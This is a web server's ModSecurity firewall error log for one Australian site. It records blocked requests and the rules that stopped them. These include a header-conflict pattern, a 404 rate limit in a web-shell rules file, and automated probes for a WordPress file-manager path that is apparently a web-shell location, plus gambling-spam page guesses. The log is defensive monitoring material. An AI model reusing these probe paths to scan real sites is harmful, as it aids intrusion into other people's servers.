[Sun Apr 05 06:11:15.800418 2026] [:error] [pid 45305:tid 45390] [client 170.106.181.163:58394] [client 170.106.181.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adGMg-jDQjr7aWhjflAmOAAAAJM"]
[Sun Apr 05 06:20:36.485389 2026] [:error] [pid 30921:tid 30926] [client 182.44.67.97:55040] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adGOtGFGQVn8Q0ueB256uAAAAQM"]
[Sun Apr 05 07:45:30.879073 2026] [:error] [pid 45409:tid 45430] [client 172.213.234.56:37836] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGimtHt_Oyw03gjCNgNBAAAANM"]
[Sun Apr 05 07:45:35.026657 2026] [:error] [pid 45409:tid 45432] [client 172.213.234.56:28463] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGin9Ht_Oyw03gjCNgNCQAAANU"]
[Sun Apr 05 07:45:38.564987 2026] [:error] [pid 45409:tid 45425] [client 172.213.234.56:28428] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGiotHt_Oyw03gjCNgNFQAAAM4"]
[Sun Apr 05 08:45:50.022200 2026] [:error] [pid 45305:tid 45379] [client 20.199.97.195:56849] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGwvujDQjr7aWhjflCdUAAAAIg"]
[Sun Apr 05 08:45:52.975138 2026] [:error] [pid 45305:tid 45395] [client 20.199.97.195:57488] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGwwOjDQjr7aWhjflCdXwAAAJg"]
[Sun Apr 05 08:46:00.304092 2026] [:error] [pid 30921:tid 30939] [client 20.199.97.195:56864] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGwyGFGQVn8Q0ueB26zggAAARA"]
[Sun Apr 05 08:46:28.474707 2026] [:error] [pid 45303:tid 45339] [client 74.234.80.3:34246] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adGw5LboQ9eViZ4hdnm7TwAAABY"]
[Sun Apr 05 09:41:47.132675 2026] [:error] [pid 45305:tid 45395] [client 217.182.195.126:58336] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "adG92-jDQjr7aWhjflDI6AAAAJg"]
[Sun Apr 05 09:41:47.609501 2026] [:error] [pid 45305:tid 45387] [client 217.182.195.126:60000] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "adG92-jDQjr7aWhjflDI6QAAAJA"]
[Sun Apr 05 09:41:49.588198 2026] [:error] [pid 45409:tid 45416] [client 217.182.195.126:36110] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "adG93dHt_Oyw03gjCNhLQwAAAMU"]
[Sun Apr 05 09:41:50.586818 2026] [:error] [pid 45303:tid 45328] [client 217.182.195.126:36122] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "adG93rboQ9eViZ4hdnnNegAAAAs"]
[Sun Apr 05 09:41:52.653196 2026] [:error] [pid 45305:tid 45393] [client 217.182.195.126:36130] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "adG94OjDQjr7aWhjflDI8wAAAJY"]
[Sun Apr 05 09:41:53.388576 2026] [:error] [pid 45305:tid 45383] [client 217.182.195.126:36144] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "adG94ejDQjr7aWhjflDI9gAAAIw"]
[Sun Apr 05 09:41:55.077845 2026] [:error] [pid 45305:tid 45374] [client 217.182.195.126:36146] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "adG94-jDQjr7aWhjflDI_AAAAIM"]
[Sun Apr 05 09:41:56.700338 2026] [:error] [pid 45303:tid 45328] [client 217.182.195.126:50998] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "adG95LboQ9eViZ4hdnnNjwAAAAs"]
[Sun Apr 05 09:41:58.184541 2026] [:error] [pid 30921:tid 30931] [client 217.182.195.126:51014] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "adG95mFGQVn8Q0ueB27KnAAAAQg"]
[Sun Apr 05 09:41:59.604414 2026] [:error] [pid 30921:tid 30935] [client 217.182.195.126:51028] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adG952FGQVn8Q0ueB27KowAAAQw"]
[Sun Apr 05 09:42:00.584942 2026] [:error] [pid 45305:tid 45391] [client 217.182.195.126:51044] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "adG96OjDQjr7aWhjflDJHQAAAJQ"]
[Sun Apr 05 09:42:02.012184 2026] [:error] [pid 30921:tid 30931] [client 217.182.195.126:51054] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adG96mFGQVn8Q0ueB27KqgAAAQg"]
[Sun Apr 05 09:42:03.175096 2026] [:error] [pid 45305:tid 45378] [client 217.182.195.126:51056] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "adG96-jDQjr7aWhjflDJLAAAAIc"]
[Sun Apr 05 09:42:04.956070 2026] [:error] [pid 45305:tid 45379] [client 217.182.195.126:51068] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adG97OjDQjr7aWhjflDJNgAAAIg"]
[Sun Apr 05 09:42:05.874331 2026] [:error] [pid 45305:tid 45387] [client 217.182.195.126:34582] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adG97ejDQjr7aWhjflDJOgAAAJA"]
[Sun Apr 05 09:42:08.052264 2026] [:error] [pid 45304:tid 45364] [client 217.182.195.126:34590] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adG98A5jnqDKKovdRklFCAAAAFQ"]
[Sun Apr 05 09:42:08.859326 2026] [:error] [pid 45305:tid 45387] [client 217.182.195.126:34592] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adG98OjDQjr7aWhjflDJRwAAAJA"]
[Sun Apr 05 09:42:10.893672 2026] [:error] [pid 45409:tid 45429] [client 217.182.195.126:34608] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adG98tHt_Oyw03gjCNhLdgAAANI"]
[Sun Apr 05 09:42:11.328533 2026] [:error] [pid 30921:tid 30933] [client 217.182.195.126:34624] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adG982FGQVn8Q0ueB27KxQAAAQo"]
[Sun Apr 05 09:42:13.344246 2026] [:error] [pid 45305:tid 45381] [client 217.182.195.126:34626] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adG99ejDQjr7aWhjflDJUwAAAIo"]
[Sun Apr 05 09:42:14.917130 2026] [:error] [pid 45303:tid 45339] [client 217.182.195.126:34628] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adG99rboQ9eViZ4hdnnNqQAAABY"]
[Sun Apr 05 09:42:15.907470 2026] [:error] [pid 45305:tid 45383] [client 217.182.195.126:35776] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "adG99-jDQjr7aWhjflDJXQAAAIw"]
[Sun Apr 05 09:42:17.584010 2026] [:error] [pid 45304:tid 45363] [client 217.182.195.126:35790] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adG9-Q5jnqDKKovdRklFJQAAAFM"]
[Sun Apr 05 09:42:18.596138 2026] [:error] [pid 45305:tid 45378] [client 217.182.195.126:35796] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adG9-ujDQjr7aWhjflDJbAAAAIc"]
[Sun Apr 05 09:42:20.266572 2026] [:error] [pid 45409:tid 45421] [client 217.182.195.126:35806] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adG9_NHt_Oyw03gjCNhLkAAAAMo"]
[Sun Apr 05 09:42:21.726551 2026] [:error] [pid 30921:tid 30932] [client 217.182.195.126:35812] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adG9_WFGQVn8Q0ueB27K2wAAAQk"]
[Sun Apr 05 09:42:22.741771 2026] [:error] [pid 30921:tid 30946] [client 217.182.195.126:35816] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "adG9_mFGQVn8Q0ueB27K3QAAARc"]
[Sun Apr 05 09:42:24.185137 2026] [:error] [pid 45305:tid 45390] [client 217.182.195.126:35830] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adG-AOjDQjr7aWhjflDJngAAAJM"]
[Sun Apr 05 09:42:25.379832 2026] [:error] [pid 45409:tid 45423] [client 217.182.195.126:35840] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adG-AdHt_Oyw03gjCNhLmAAAAMw"]
[Sun Apr 05 09:42:27.078164 2026] [:error] [pid 45305:tid 45387] [client 217.182.195.126:52556] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adG-A-jDQjr7aWhjflDJuQAAAJA"]
[Sun Apr 05 09:42:28.250105 2026] [:error] [pid 45305:tid 45373] [client 217.182.195.126:52562] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adG-BOjDQjr7aWhjflDJxgAAAII"]
[Sun Apr 05 09:42:30.125667 2026] [:error] [pid 45303:tid 45318] [client 217.182.195.126:52564] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adG-BrboQ9eViZ4hdnnNuwAAAAE"]
[Sun Apr 05 09:42:30.710713 2026] [:error] [pid 45304:tid 45368] [client 217.182.195.126:52566] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adG-Bg5jnqDKKovdRklFMwAAAFg"]
[Sun Apr 05 09:42:33.393550 2026] [:error] [pid 45409:tid 45416] [client 217.182.195.126:52572] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adG-CdHt_Oyw03gjCNhLtgAAAMU"]
[Sun Apr 05 09:42:33.443946 2026] [:error] [pid 45409:tid 45422] [client 217.182.195.126:52588] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adG-CdHt_Oyw03gjCNhLtwAAAMs"]
[Sun Apr 05 09:42:36.055936 2026] [:error] [pid 45305:tid 45381] [client 217.182.195.126:34144] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adG-DOjDQjr7aWhjflDJ2wAAAIo"]
[Sun Apr 05 09:42:36.302900 2026] [:error] [pid 45303:tid 45330] [client 217.182.195.126:34148] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adG-DLboQ9eViZ4hdnnNwQAAAA0"]
[Sun Apr 05 09:42:39.214045 2026] [:error] [pid 30921:tid 30925] [client 217.182.195.126:34162] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adG-D2FGQVn8Q0ueB27K-QAAAQI"]
[Sun Apr 05 09:42:39.490370 2026] [:error] [pid 45304:tid 45355] [client 217.182.195.126:34164] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "adG-Dw5jnqDKKovdRklFRgAAAEs"]
[Sun Apr 05 09:42:42.171763 2026] [:error] [pid 45305:tid 45375] [client 217.182.195.126:34186] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adG-EujDQjr7aWhjflDJ8wAAAIQ"]
[Sun Apr 05 09:42:42.293015 2026] [:error] [pid 45305:tid 45376] [client 217.182.195.126:34180] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adG-EujDQjr7aWhjflDJ9AAAAIU"]
[Sun Apr 05 09:42:57.732583 2026] [:error] [pid 30921:tid 30925] [client 217.182.195.126:34202] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adG-IWFGQVn8Q0ueB27LKgAAAQI"]
[Sun Apr 05 09:42:57.928458 2026] [:error] [pid 30921:tid 30923] [client 217.182.195.126:34210] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adG-IWFGQVn8Q0ueB27LKwAAAQA"]
[Sun Apr 05 09:43:00.366055 2026] [:error] [pid 45305:tid 45380] [client 217.182.195.126:34048] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adG-JOjDQjr7aWhjflDKHQAAAIk"]
